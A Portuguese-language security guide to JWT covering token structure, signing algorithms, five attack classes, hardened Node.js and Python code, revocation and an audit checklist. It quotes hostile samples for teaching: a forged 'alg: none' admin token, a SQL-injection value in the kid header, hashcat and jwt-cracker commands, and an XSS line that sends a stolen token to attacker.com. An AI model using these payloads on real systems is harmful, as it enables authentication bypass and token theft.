Em 2018, pesquisadores da Skyscanner descobriram que a implementação de JWT em uma biblioteca amplamente usada aceitava o algoritmo none — o que permitia que qualquer atacante forjasse tokens válidos sem conhecer a chave secreta, simplesmente removendo a assinatura e declarando que o token não precisava de assinatura. O bug afetou bibliotecas em Node.js, Python, Java e .NET. Centenas de aplicações que simplesmente atualizavam sua biblioteca resolviam o problema; as que não atualizavam ficavam com autenticação completamente contornável.
Dois anos antes, pesquisadores da Auth0 documentaram o “algorithm confusion attack” — onde um sistema que suportava tanto HMAC (chave simétrica) quanto RSA (chave assimétrica) podia ser enganado: o atacante pegava a chave pública RSA (que é pública por definição), forjava um token declarando o algoritmo como HMAC, e assinava com a chave pública. O servidor, ao verificar, usava a chave pública como chave HMAC e aceitava o token como válido.
Esses dois ataques — none algorithm e algorithm confusion — ilustram algo fundamental sobre JWT: o padrão em si é bem projetado, mas a superfície de ataque está inteiramente na implementação. Uma biblioteca desatualizada, uma configuração permissiva, uma chave secreta fraca, ou a ausência de validação de claims específicas podem transformar autenticação JWT em autenticação que qualquer atacante com conhecimento básico contorna.
Neste artigo, você vai entender a estrutura do JWT com precisão técnica, como cada componente contribui para a segurança, quais são os vetores de ataque documentados com demonstrações de como funcionam, como implementar JWT de forma que resiste a esses ataques em Node.js e Python, quando usar JWT e quando outra abordagem é mais adequada e como auditar implementações existentes. Este é o guia que profissionais de segurança precisam — não apenas desenvolvedores aprendendo o básico.
O que é JWT e onde se encaixa no ecossistema de autenticação?
A especificação e o problema que JWT resolve
O JSON Web Token é um padrão aberto definido pela RFC 7519 que especifica uma forma compacta e autocontida de transmitir informações entre partes como um objeto JSON, com assinatura digital que permite verificar autenticidade e integridade.
O problema que JWT resolve é específico: em sistemas distribuídos com múltiplos servidores, como um cliente prova para o Servidor B que foi autenticado pelo Servidor A? A solução tradicional — sessões stateful com um store compartilhado (Redis, banco de dados) — funciona mas cria dependência de infraestrutura centralizada e adiciona latência em cada verificação.
JWT resolve isso de forma stateless: o servidor de autenticação assina um token que contém as informações necessárias para autorização. Qualquer serviço que conhece a chave (ou tem acesso à chave pública, no caso de algoritmos assimétricos) consegue verificar o token independentemente, sem consultar nenhum store centralizado.
Essa característica — stateless, autocontido, verificável sem estado centralizado — é exatamente o que torna JWT útil em microsserviços e APIs modernas, e é também o que cria os desafios de segurança mais difíceis, como a revogação de tokens comprometidos.
💡 Dica: JWT é frequentemente confundido com OAuth 2.0. OAuth 2.0 é um protocolo de autorização — define como um sistema pode delegar acesso a outro. JWT é um formato de token — define como informações são estruturadas e assinadas. OAuth 2.0 frequentemente usa JWTs como access tokens, mas JWT pode ser usado em contextos completamente fora do OAuth 2.0 e OAuth 2.0 pode usar outros formatos de token além de JWT.
A anatomia de um JWT: cada parte e suas implicações de segurança
Um JWT tem a forma xxxxx.yyyyy.zzzzz — três partes codificadas em Base64URL, separadas por pontos. Cada parte tem função e implicações de segurança distintas.
Header: o que declara determina o que o servidor confia
O header declara o tipo do token e o algoritmo de assinatura:
{
"alg": "HS256",
"typ": "JWT"
}A vulnerabilidade crítica do header é exatamente essa declaração de algoritmo. Se o servidor de verificação aceita o algoritmo declarado pelo token em vez de exigir um algoritmo específico, o atacante controla o mecanismo de verificação — o que abre os ataques documentados (none algorithm e algorithm confusion).
O header também pode conter kid (key ID), indicando qual chave o servidor deve usar para verificar o token. Se o servidor busca a chave com base no kid de forma insegura — por exemplo, usando o valor diretamente em uma query de banco de dados — isso cria uma injeção SQL via header de JWT.
Payload: informação visível, não criptografada
O payload contém as claims — afirmações sobre o usuário e o token:
{
"sub": "user-12345",
"name": "Maria Silva",
"roles": ["user", "editor"],
"iss": "https://auth.example.com",
"aud": "https://api.example.com",
"iat": 1716210000,
"exp": 1716213600,
"jti": "jwt-unique-id-7f3a9c"
}As claims têm três categorias:
Registered claims (padronizadas pela RFC):
- sub — subject, geralmente o ID do usuário
- iss — issuer, quem emitiu o token
- aud — audience, para quem o token é destinado
- exp — expiration time (Unix timestamp)
- iat — issued at
- nbf — not before (token não é válido antes desse timestamp)
- jti — JWT ID (identificador único, importante para prevenção de replay)
Public claims — claims registradas no IANA ou nomeadas com URIs para evitar colisões.
Private claims — claims customizadas acordadas entre partes específicas (roles, permissions, tenant_id, etc.).
⚠️ Atenção: O payload de um JWT é apenas codificado em Base64URL — não é criptografado. Qualquer pessoa com o token consegue decodificar e ler o payload sem a chave secreta. atob(token.split('.')[1]) no navegador decodifica o payload imediatamente. Nunca inclua senhas, números de cartão de crédito, dados médicos sensíveis, ou qualquer informação confidencial no payload. Inclua apenas o necessário para autorização.
Signature: o que garante a integridade
A assinatura protege header e payload contra adulteração:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secretKey
)
// Para algoritmos assimétricos como RS256:
RSA_SHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
privateKey
)A verificação com RS256 usa a chave pública correspondente. Isso permite que múltiplos serviços verifiquem tokens sem precisar da chave privada — que permanece exclusiva do servidor de autenticação.
Os algoritmos de assinatura: HS256, RS256 e ES256
HMAC (HS256, HS384, HS512): chave simétrica
HMAC usa a mesma chave secreta para assinar e verificar. O sufixo numérico indica o tamanho do hash: HS256 usa SHA-256 (saída de 256 bits), HS512 usa SHA-512.
Vantagem: Simplicidade e velocidade — verificação é computacionalmente barata.
Desvantagem: Todos os serviços que precisam verificar tokens precisam conhecer a chave secreta. Em sistemas com muitos microsserviços, distribuir e proteger uma chave simétrica é um desafio operacional real. Se qualquer serviço que tem a chave for comprometido, o atacante pode forjar tokens.
Requisitos de segurança para a chave:
- Comprimento mínimo de 256 bits (32 bytes) para HS256
- Gerada criptograficamente de forma aleatória
- Nunca hardcoded em código-fonte
- Armazenada em secrets manager (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault)
RSA (RS256, RS384, RS512): chave assimétrica
RSA usa par de chaves — chave privada para assinar, chave pública para verificar. O servidor de autenticação guarda a chave privada; os serviços que verificam tokens recebem apenas a chave pública.
Vantagem: A chave privada nunca precisa ser distribuída. Serviços de verificação têm apenas a chave pública — o comprometimento de um serviço de verificação não compromete a capacidade de emitir tokens legítimos.
Desvantagem: Computacionalmente mais caro que HMAC. Chaves RSA precisam ser maiores (2048+ bits) para segurança equivalente.
Quando usar RS256: Em qualquer sistema com múltiplos serviços que verificam tokens, especialmente quando alguns desses serviços não são totalmente confiáveis ou quando terceiros precisam verificar tokens.
ECDSA (ES256, ES384, ES512): Eliptic Curve
ECDSA oferece segurança equivalente ao RSA com chaves significativamente menores — ES256 com curva P-256 oferece segurança equivalente a RSA-3072 mas com chaves muito menores, o que resulta em tokens menores e operações mais rápidas.
Para sistemas modernos sem restrições de compatibilidade com sistemas legados, ES256 é frequentemente a melhor escolha entre os algoritmos assimétricos.
Vulnerabilidades críticas: os ataques que profissionais de segurança precisam conhecer
Ataque 1: Algorithm None (CVE histórico em múltiplas bibliotecas)
O JWT standard originalmente previa o valor “none” para o campo alg — indicando que o token não é assinado. Isso foi pensado para casos específicos como tokens em canais já criptografados e autenticados.
O problema: diversas bibliotecas, ao aceitar qualquer algoritmo declarado pelo token, aceitavam “none” como algoritmo válido — o que permitia forjar tokens sem nenhuma chave:
# Header com alg: none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# (decodifica para: {"alg":"none","typ":"JWT"})
# Payload com qualquer claims que o atacante quiser
eyJzdWIiOiJ1c2VyLTEiLCJyb2xlIjoiYWRtaW4ifQ
# (decodifica para: {"sub":"user-1","role":"admin"})
# Assinatura vazia — sem ponto final também funciona em algumas implementações
O token resultante eyJhbGci....<payload>. (com assinatura vazia) era aceito como válido por bibliotecas vulneráveis.Como implementar defesa:
import jwt
# VULNERÁVEL — aceita qualquer algoritmo declarado pelo token
decoded = jwt.decode(token, secret, algorithms=jwt.algorithms.get_default_algorithms())
# CORRETO — lista explícita, sem "none"
decoded = jwt.decode(
token,
secret,
algorithms=["HS256"], # Apenas HS256 — nunca inclua "none"
options={"require": ["exp", "iat", "sub"]}
)const jwt = require('jsonwebtoken');
// VULNERÁVEL — não especifica algoritmo esperado
const decoded = jwt.verify(token, secretKey);
// CORRETO — algoritmo especificado explicitamente
const decoded = jwt.verify(token, secretKey, {
algorithms: ['HS256'] // Lista explícita — "none" não está incluído
});Ataque 2: Algorithm Confusion (RS256 to HS256)
Esse ataque explora sistemas que suportam tanto algoritmos simétricos quanto assimétricos. O cenário:
- O servidor normalmente usa RS256 (RSA) — assina com chave privada, verifica com chave pública
- A chave pública RSA é, por definição, pública — disponível em
/.well-known/jwks.jsonou similares - O atacante cria um token declarando
"alg": "HS256"e o assina com a chave pública RSA (usando essa chave pública como segredo HMAC) - O servidor recebe o token, vê
"alg": "HS256"e verifica usando HMAC com… a chave pública RSA como segredo — o que confere!
O ataque funciona porque a biblioteca usa a mesma variável (que contém a chave pública) como segredo HMAC quando o algoritmo declarado é HS256.
Como prevenir:
# VULNERÁVEL — aceita qualquer algoritmo declarado
decoded = jwt.decode(token, public_key, algorithms=["RS256", "HS256"])
# CORRETO — para RS256, usa apenas RS256; nunca mistura com HS256 no mesmo endpoint
decoded = jwt.decode(
token,
public_key,
algorithms=["RS256"] # Apenas o algoritmo esperado — não lista ambos
)A defesa fundamental é nunca aceitar múltiplos algoritmos com diferentes modelos de chave no mesmo endpoint de verificação.
Ataque 3: chave secreta fraca e força bruta
Sistemas que usam HS256 com chaves secretas fracas (palavras comuns, strings curtas, senhas reutilizadas) são vulneráveis a ataques offline de força bruta. O atacante captura um token válido e usa ferramentas como hashcat ou jwt-cracker para tentar descobrir a chave secreta.
# hashcat com wordlist e modo JWT
hashcat -a 0 -m 16500 captured_token.txt wordlist.txt
# jwt-cracker para força bruta simples
jwt-cracker -t eyJhbGci... -a "[a-z]" -m 5Se a chave secreta for encontrada, o atacante pode forjar qualquer token — com qualquer usuário, qualquer papel, qualquer claims.
A defesa é simples e absoluta: chaves secretas para HMAC devem ter pelo menos 256 bits de entropia aleatória:
import secrets
# Gera 32 bytes (256 bits) de entropia criptograficamente segura
secret_key = secrets.token_hex(32) # 64 caracteres hexadecimais# Via linha de comando
openssl rand -hex 32Ataque 4: ausência de validação de Claims críticas
JWT sem validação de claims permite ataques que exploram tokens expirados, tokens de outros issuers, ou tokens destinados a outros sistemas:
Replay com token expirado — sem verificar exp, tokens roubados funcionam indefinidamente.
Cross-tenant attack — sem verificar aud, um token emitido para o serviço A funciona no serviço B, que usa a mesma chave de verificação.
Token injection de outro issuer — sem verificar iss, um token forjado ou legítimo de outro sistema funciona na API.
# VULNERÁVEL — não valida claims críticas
decoded = jwt.decode(token, secret, algorithms=["HS256"], options={"verify_exp": False})
# Nunca faça isso
# CORRETO — validação completa de claims
decoded = jwt.decode(
token,
secret,
algorithms=["HS256"],
issuer="https://auth.example.com", # Verifica iss
audience="https://api.example.com", # Verifica aud
options={
"require": ["exp", "iat", "sub", "jti"], # Claims obrigatórias
"verify_exp": True,
"verify_iat": True,
"verify_iss": True,
"verify_aud": True
}
)Ataque 5: JWT Injection via kid (Key ID)
O campo kid no header indica qual chave usar para verificação. Se a implementação usa o valor de kid em uma query sem sanitização:
# VULNERÁVEL — usa kid diretamente em query SQL
def get_key(kid):
query = f"SELECT key FROM keys WHERE id = '{kid}'" # SQL Injection!
return db.execute(query).fetchone()[0]
# Header malicioso: {"alg": "HS256", "kid": "' UNION SELECT 'attackerkey'--"}A defesa é tratar kid como input não confiável — validar contra lista de valores permitidos ou usar como parâmetro de binding:
import re
def get_key(kid: str) -> str:
# Valida formato antes de usar
if not re.match(r'^[a-f0-9\-]{36}$', kid): # UUID format
raise ValueError("Invalid kid format")
return key_store.get(kid) # Dicionário de chaves confiáveis, sem SQLImplementação segura: o padrão completo
Node.js com Express
const express = require('express');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const app = express();
app.use(express.json());
// Configuração — use variáveis de ambiente, nunca hardcode
const JWT_SECRET = process.env.JWT_SECRET; // 256+ bits de entropia
const JWT_ISSUER = 'https://auth.example.com';
const JWT_AUDIENCE = 'https://api.example.com';
const ACCESS_TOKEN_TTL = '15m'; // Vida curta para access tokens
// Geração de access token
function generateAccessToken(userId, roles) {
const payload = {
sub: userId,
roles: roles,
iss: JWT_ISSUER,
aud: JWT_AUDIENCE,
jti: crypto.randomUUID(), // ID único para prevenção de replay
iat: Math.floor(Date.now() / 1000)
};
return jwt.sign(payload, JWT_SECRET, {
expiresIn: ACCESS_TOKEN_TTL,
algorithm: 'HS256' // Explícito
});
}
// Middleware de verificação — configuração segura e completa
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
if (!authHeader?.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Token não fornecido' });
}
const token = authHeader.split(' ')[1];
try {
const payload = jwt.verify(token, JWT_SECRET, {
algorithms: ['HS256'], // Lista explícita — sem "none", sem RS256
issuer: JWT_ISSUER,
audience: JWT_AUDIENCE,
complete: false
});
req.user = payload;
next();
} catch (error) {
if (error instanceof jwt.TokenExpiredError) {
return res.status(401).json({ error: 'Token expirado' });
}
if (error instanceof jwt.NotBeforeError) {
return res.status(401).json({ error: 'Token ainda não é válido' });
}
return res.status(403).json({ error: 'Token inválido' });
}
}
// Endpoint protegido
app.get('/api/profile', authenticateToken, (req, res) => {
res.json({ userId: req.user.sub, roles: req.user.roles });
});Python com FastAPI
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
import jwt
from datetime import datetime, timedelta, timezone
import secrets
import os
app = FastAPI()
security = HTTPBearer()
# Configuração via variáveis de ambiente
JWT_SECRET = os.environ["JWT_SECRET"]
JWT_ALGORITHM = "HS256"
JWT_ISSUER = "https://auth.example.com"
JWT_AUDIENCE = "https://api.example.com"
ACCESS_TOKEN_MINUTES = 15
def create_access_token(user_id: str, roles: list[str]) -> str:
now = datetime.now(timezone.utc)
payload = {
"sub": user_id,
"roles": roles,
"iss": JWT_ISSUER,
"aud": JWT_AUDIENCE,
"iat": now,
"exp": now + timedelta(minutes=ACCESS_TOKEN_MINUTES),
"jti": secrets.token_urlsafe(16) # ID único por token
}
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
def verify_token(credentials: HTTPAuthorizationCredentials = Depends(security)) -> dict:
token = credentials.credentials
try:
payload = jwt.decode(
token,
JWT_SECRET,
algorithms=[JWT_ALGORITHM], # Lista explícita, nunca variável
issuer=JWT_ISSUER,
audience=JWT_AUDIENCE,
options={
"require": ["exp", "iat", "sub", "jti", "iss", "aud"]
}
)
return payload
except jwt.ExpiredSignatureError:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Token expirado",
headers={"WWW-Authenticate": "Bearer"}
)
except jwt.InvalidTokenError as e:
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=f"Token inválido: {str(e)}"
)
@app.get("/api/profile")
def get_profile(token_data: dict = Depends(verify_token)):
return {"user_id": token_data["sub"], "roles": token_data["roles"]}O problema da revogação: o Tendão de Aquiles do JWT Stateless
A natureza stateless do JWT cria um desafio fundamental: uma vez emitido, um JWT válido permanece válido até sua expiração — mesmo que o usuário faça logout, altere sua senha, ou tenha sua conta comprometida.
Cenário concreto: um usuário percebe que sua conta foi comprometida e muda a senha às 14h. O atacante que roubou o access token às 13h continua com um token válido até a expiração — potencialmente por mais 14 minutos se o TTL for 15 minutos.
Abordagem 1: token de vida curtíssima + Refresh Token
A estratégia mais comum: access tokens com TTL muito curto (5-15 minutos) combinados com refresh tokens de vida longa armazenados no servidor.
- Access token expirado: o sistema automaticamente usa o refresh token para obter novo access token
- Revogação: invalidar o refresh token no servidor corta o acesso na próxima tentativa de renovação — janela máxima de abuso é o TTL do access token
- Logout: deleta o refresh token do servidor — o usuário não consegue mais renovar o access token
Abordagem 2: versão de token no perfil do usuário
Incluir um campo token_version no perfil do usuário e na claim do JWT. Para invalidar todos os tokens do usuário, incrementar a versão. O servidor verifica a versão no token contra a versão atual no banco:
def verify_token_with_version(token: str) -> dict:
payload = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
user = db.get_user(payload["sub"])
if user.token_version != payload.get("token_version"):
raise HTTPException(status_code=401, detail="Token revogado")
return payloadEssa abordagem adiciona uma consulta ao banco por requisição mas mantém revogação imediata. Cacheando o token_version (Redis, por exemplo), a latência é mínima.
Abordagem 3: Denylist para casos específicos
Para casos onde apenas alguns tokens precisam ser revogados (comprometimento pontual, não logout de todos os dispositivos), manter uma lista de JTIs revogados em cache:
import redis
redis_client = redis.Redis()
def revoke_token(jti: str, expires_at: int):
ttl = expires_at - int(datetime.now().timestamp())
if ttl > 0:
redis_client.setex(f"revoked:{jti}", ttl, "1")
def is_token_revoked(jti: str) -> bool:
return redis_client.exists(f"revoked:{jti}") > 0⚠️ Atenção: A denylist deve ter TTL alinhado com a expiração dos tokens para evitar acumulação infinita. Tokens que já expiraram não precisam estar na denylist — o servidor os rejeitará pela expiração de qualquer forma.
Armazenamento seguro de JWT no cliente
O dilema localStorage vs Cookie HttpOnly
localStorage é simples de usar em JavaScript mas completamente acessível a qualquer script que rode na página. Um XSS bem-sucedido expõe o token imediatamente:
// Qualquer script XSS pode fazer isso:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);Cookie HttpOnly não é acessível via JavaScript — o atributo HttpOnly impede que scripts leiam o valor. O navegador inclui o cookie automaticamente em cada requisição para o domínio, mas o script malicioso não consegue exfiltrar o valor.
A desvantagem dos cookies é vulnerabilidade a CSRF (Cross-Site Request Forgery) — o navegador inclui cookies automaticamente em requisições de qualquer origem. A defesa é combinar cookies HttpOnly com o atributo SameSite=Strict ou SameSite=Lax (que controla quando o cookie é incluído em requisições cross-site) e tokens CSRF para operações que modificam estado.
A recomendação atual da comunidade de segurança:
- Access tokens em memória (variáveis JavaScript) — não persistem após fechar o tab, mas não são acessíveis a XSS em outras tabs
- Refresh tokens em cookie HttpOnly + Secure + SameSite=Strict
- Renovação automática de access token via chamada ao endpoint de refresh quando expira
JWT vs. alternativas: quando cada abordagem faz sentido
Quando JWT é a escolha certa
JWT resolve bem situações específicas:
- Microsserviços stateless onde múltiplos serviços precisam verificar identidade sem um store centralizado
- APIs públicas onde clientes terceiros precisam autenticar com o sistema
- Tokens de curto prazo para operações específicas (links de confirmação de e-mail com TTL de 1 hora, por exemplo)
- Ambiente com múltiplos provedores onde o issuer diferente indica a fonte de autenticação
Quando Sessions tradicionais são mais adequadas
Para aplicações web monolíticas ou com um único servidor de aplicação, sessões stateful com store no servidor oferecem algumas vantagens que JWT não pode igualar:
- Revogação instantânea: deletar a sessão do store encerra o acesso imediatamente, sem nenhuma janela de abuso
- Invalidação de todas as sessões: deletar todas as sessões do usuário no store encerra todos os acessos em todos os dispositivos
- Auditoria de sessões ativas: o store de sessões é um registro de quem está logado e de onde
Para uma aplicação de banco com requisito de “sessão encerrada imediatamente ao detectar comportamento suspeito”, a revogação imediata das sessions tradicionais é mais confiável do que a janela de 5-15 minutos inevitável do JWT stateless.
Auditando implementações JWT existentes
O checklist de segurança
Ao auditar uma implementação JWT existente, verifique sistematicamente:
Geração:
- A chave secreta tem pelo menos 256 bits de entropia aleatória?
- A chave secreta está em variável de ambiente ou secrets manager (não hardcoded)?
- O algoritmo está fixado explicitamente na geração?
- Access tokens têm TTL de 15 minutos ou menos?
- O payload inclui iss, aud, exp, iat, jti, e sub?
- O payload não contém dados confidenciais desnecessários?
Verificação:
- O algoritmo está especificado explicitamente como lista (não aceita “none”)?
- iss e aud são verificados contra valores esperados específicos?
- exp é verificado (não desabilitado)?
- Claims obrigatórias são exigidas explicitamente?
- O servidor não usa o algoritmo declarado no token para decidir como verificar?
Armazenamento e transmissão:
- Access tokens não estão em localStorage?
- Refresh tokens usam cookie HttpOnly + Secure + SameSite?
- Toda comunicação usa HTTPS?
- Existe mecanismo de revogação implementado?
Testes:
- A implementação rejeita tokens com “alg”: “none”?
- A implementação rejeita tokens expirados?
- A implementação rejeita tokens com iss incorreto?
- A implementação rejeita tokens com aud incorreto?
Perguntas frequentes sobre JWT e segurança
Não — nenhuma tecnologia de autenticação é “segura por padrão” no sentido de que uma implementação incorreta produz segurança automaticamente. JWT oferece os mecanismos corretos (assinatura digital, claims padronizadas, expiração), mas a implementação precisa usar esses mecanismos corretamente. Algoritmo especificado explicitamente, chave secreta forte, TTL curto, validação de iss e aud, mecanismo de revogação adequado — tudo isso precisa ser implementado deliberadamente. A maioria das vulnerabilidades JWT documentadas são implementações que não usam corretamente os mecanismos disponíveis.
Depende da arquitetura. HS256 (HMAC simétrico) funciona bem quando todos os serviços que verificam tokens são controlados pela mesma organização e podem compartilhar a chave secreta de forma segura. RS256 (RSA assimétrico) é preferível quando múltiplos serviços precisam verificar tokens mas não devem ter capacidade de emitir tokens, quando terceiros precisam verificar tokens, ou quando a escala torna perigoso distribuir uma chave secreta por muitos serviços. ES256 (ECDSA) oferece as vantagens do RS256 com tokens menores e operações mais rápidas — é frequentemente a melhor escolha para novos sistemas.
Access tokens devem ter TTL curto — 5 a 15 minutos para sistemas com dados sensíveis, até 1 hora para sistemas de menor risco. TTL longo cria uma janela de abuso grande se o token for comprometido. Refresh tokens podem ter vida mais longa (7 a 30 dias) mas devem ser armazenados no servidor e revogáveis. A escolha de TTL é um trade-off entre segurança (TTL curto) e overhead de renovação (TTL longo). A maioria dos sistemas modernos resolve isso com renovação automática de access tokens usando o refresh token, tornando a expiração frequente transparente para o usuário.
Execute esses testes manuais básicos: (1) pegue um token válido, altere o algoritmo no header para “none” e remova a assinatura — o servidor deve rejeitar; (2) pegue um token válido, decodifique o payload, altere o sub para outro usuário, recodifique e envie com a assinatura original — o servidor deve rejeitar (assinatura inválida); (3) pegue um token expirado e envie — o servidor deve rejeitar; (4) gere um token para um serviço A e envie para o serviço B — o serviço B deve rejeitar se verifica aud. Ferramentas como jwt_tool (Python) e o Burp Suite JWT Editor automatizam esses e outros testes.
Sim, com uma ressalva importante: permissões no JWT refletem o estado no momento da emissão do token, não o estado atual. Se você revogar uma permissão de um usuário, o JWT existente ainda contém a permissão antiga até expirar. Para dados de autorização que mudam frequentemente, TTL muito curto é necessário. Uma abordagem alternativa é incluir apenas o identificador do usuário no JWT e buscar permissões do cache (Redis) em cada requisição — mais consultas, mas permissões sempre atuais. A escolha depende de quão frequentemente permissões mudam e quão crítico é que a revogação seja imediata.
JWT é uma ferramenta poderosa com superfície de ataque bem definida
Ao longo deste artigo, JWT revelou-se uma tecnologia bem especificada com um conjunto de vulnerabilidades igualmente bem documentadas. Essa combinação é na verdade positiva: os ataques são conhecidos, as defesas são claras, e implementar JWT de forma segura requer decisões deliberadas específicas — não apenas “usar JWT” de forma genérica.
Os três princípios que guiam uma implementação JWT segura são sempre os mesmos: algoritmo explícito e fixo (nunca aceita o algoritmo declarado pelo token, nunca aceita “none”), claims validadas completamente (exp, iss, aud, jti — não apenas a assinatura), e chave secreta com entropia adequada armazenada em secrets manager.
O desafio da revogação é real e não tem solução perfeita no modelo stateless puro — toda abordagem de mitigação (TTL curto, versão de token, denylist) representa algum trade-off entre a pureza stateless e a capacidade de revogar imediatamente. Sistemas com requisitos de revogação imediata devem avaliar se JWT é a ferramenta certa para o contexto ou se sessions tradicionais atendem melhor.
Conhecer as vulnerabilidades específicas do JWT não é apenas útil para implementadores — é essencial para pentesters que auditam APIs e para profissionais de segurança que revisam código e arquitetura de sistemas.
👉 Compartilhe este artigo com desenvolvedores e times de segurança que trabalham com autenticação em APIs e microsserviços — pode ser a referência técnica que evita vulnerabilidades JWT antes que cheguem a produção.